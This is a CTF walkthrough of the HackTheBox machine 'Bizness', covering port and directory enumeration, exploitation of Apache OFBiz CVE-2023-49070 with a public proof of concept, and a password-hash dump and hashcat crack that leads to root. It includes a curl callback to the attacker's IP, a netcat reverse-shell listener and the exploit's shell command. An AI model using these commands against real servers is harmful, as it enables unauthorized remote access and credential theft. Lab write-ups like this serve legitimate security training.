Bizness is an easy CTF machine on HackTheBox. The initial access is trivial, but the priviledge escalation bit was a little bit harder. Overall a fun challenge, shoutout to C4rm3l0.
Initial Access
Enumeration
Nmap scan
Starting the attack with a port scan on all the ports:
sudo nmap -v -p- -oN scans/nmap/ports $IP
The Nmap scan results in 4 ports found:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
37781/tcp open unknown
Version & default script scan:
sudo nmap -v -sC -sV -p 22,80,443,37781 -oN scans/nmap/init $IP
Detailed scan results show that the website is using virtual hosts. Additionaly port, but I have no idea of what that is:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open ssl/http nginx 1.18.0
|_http-favicon: Unknown favicon MD5: 7CF35F0B3566DB84C7260F0CC357D0B8
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: nginx/1.18.0
|_http-title: BizNess Incorporated
|_http-trane-info: Problem with XML parsing of /evox/about
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-12-14T20:03:40
| Not valid after: 2328-11-10T20:03:40
| MD5: b182 2fdb 92b0 2036 6b98 8850 b66e da27
|_SHA-1: 8138 8595 4343 f40f 937b cc82 23af 9052 3f5d eb50
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
37781/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Website enumeration
Add bizness.htb to /etc/hosts. Once that is done we can visit the website:
First thing that I did was I ran a FFUF scan on the root of the app. It found an interesting directory /control:
ffuf -u https://bizness.htb/FUZZ -c -w /opt/SecLists/Discovery/Web-Content/common.txt -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : https://bizness.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 0
________________________________________________
index.html [Status: 200, Size: 27200, Words: 9218, Lines: 523]
control [Status: 200, Size: 34632, Words: 10468, Lines: 492]
I visited the directory and it revealed the software behind the application, however; there were no versions. I dicided to do another scan and found additional endpoints:
ffuf -u https://bizness.htb/control/FUZZ -c -w /opt/SecLists/Discovery/Web-Content/common.txt -fw 10468
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : https://bizness.htb/control/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response words: 10468
________________________________________________
help [Status: 200, Size: 10756, Words: 1182, Lines: 180]
logout [Status: 200, Size: 10756, Words: 1182, Lines: 180]
main [Status: 200, Size: 9308, Words: 913, Lines: 141]
login [Status: 200, Size: 11060, Words: 1236, Lines: 186]
views [Status: 200, Size: 9308, Words: 913, Lines: 141]
view [Status: 200, Size: 9308, Words: 913, Lines: 141]
Exploitation
CVE enumeration
Going to https://bizness.htb/control/login reveals the version as Powered by Apache OFBiz. Release 18.12. Multiple exploits exist, but the one I exploited is CVE-2023-49070 (Pre-auth RCE). I’ts not hard to do it manually but I found an exploit.
git clone https://github.com/abdoghazy2015/ofbiz-CVE-2023-49070-RCE-POC.git
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
I decided to test the exploit before gaining a shell, by simply making a HTTP request to my box:
python3 exploit.py https://bizness.htb/ rce 'curl $MY_IP'
Gaining foothold
The exploit also provides us a shell functionality, so I did not have to create my own shell:
sudo rlwrap nc -lnvp 443
python3 exploit.py https://bizness.htb/ shell $MY_IP:443
After I got the shell I created persistance via SSH keys. This, however; is not really required but it makes the whole enumeration phase easier. I also grabbed the flag at /home/ofbiz/user.txt.
Priviledge Escalation
Enumeration
Database
The app uses a databas located at /opt/ofbiz/runtime/data/derby/ofbiz. I TAR’ed the directory and transfered it to my box:
tar cf ofbiz.tar ofbiz
tar xf ofbiz.tar
To browse the database I used the Apache IJ tool. Installable & runnable via these commands:
sudo apt install derby-tools && ij
I then dumped the passwords from the USER_LOGIN table:
ij version 10.14
ij> connect 'jdbc:derby:./ofbiz';
ij> select user_login_id, current_password from ofbiz.user_login where current_password is not null;
USER_LOGIN_ID | CURRENT_PASSWORD
---------------------------------------------------
admin | REDACTED
1 row selected
Password cracking
The password has a weird format, and its not simply crackable. I’ts format: $<ALGORITHM>$<SALT>$<BASE64_HASH>. The code that is responsible for this:
public static String cryptBytes(String hashType, String salt, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
if (salt == null) {
salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
}
StringBuilder sb = new StringBuilder();
sb.append("$").append(hashType).append("$").append(salt).append("$");
sb.append(getCryptedBytes(hashType, salt, bytes));
return sb.toString();
}
private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(salt.getBytes(UtilIO.getUtf8()));
messagedigest.update(bytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while comparing password", e);
}
}
I’ts important to note that the hash is encoded as URL safe. This tripped me up a bit since I tried regular decode first and it did not work. Just note that in CyberChef you have to select alphabet as URL safe (RFC 4648 ยง5) A-Za-z0-9-_. Decode the Base64:
We then format the hash file for the 120 HashCat format. Hint: Yes the salt is only a single letter:
<HASH>:<SALT>
To crack the hash we use HashCat with rockyou.txt:
sudo hashcat -a 0 -m 120 hash /opt/rockyou.txt
Using the cracked password it is possible to login as root:
su root
cat /root/root.txt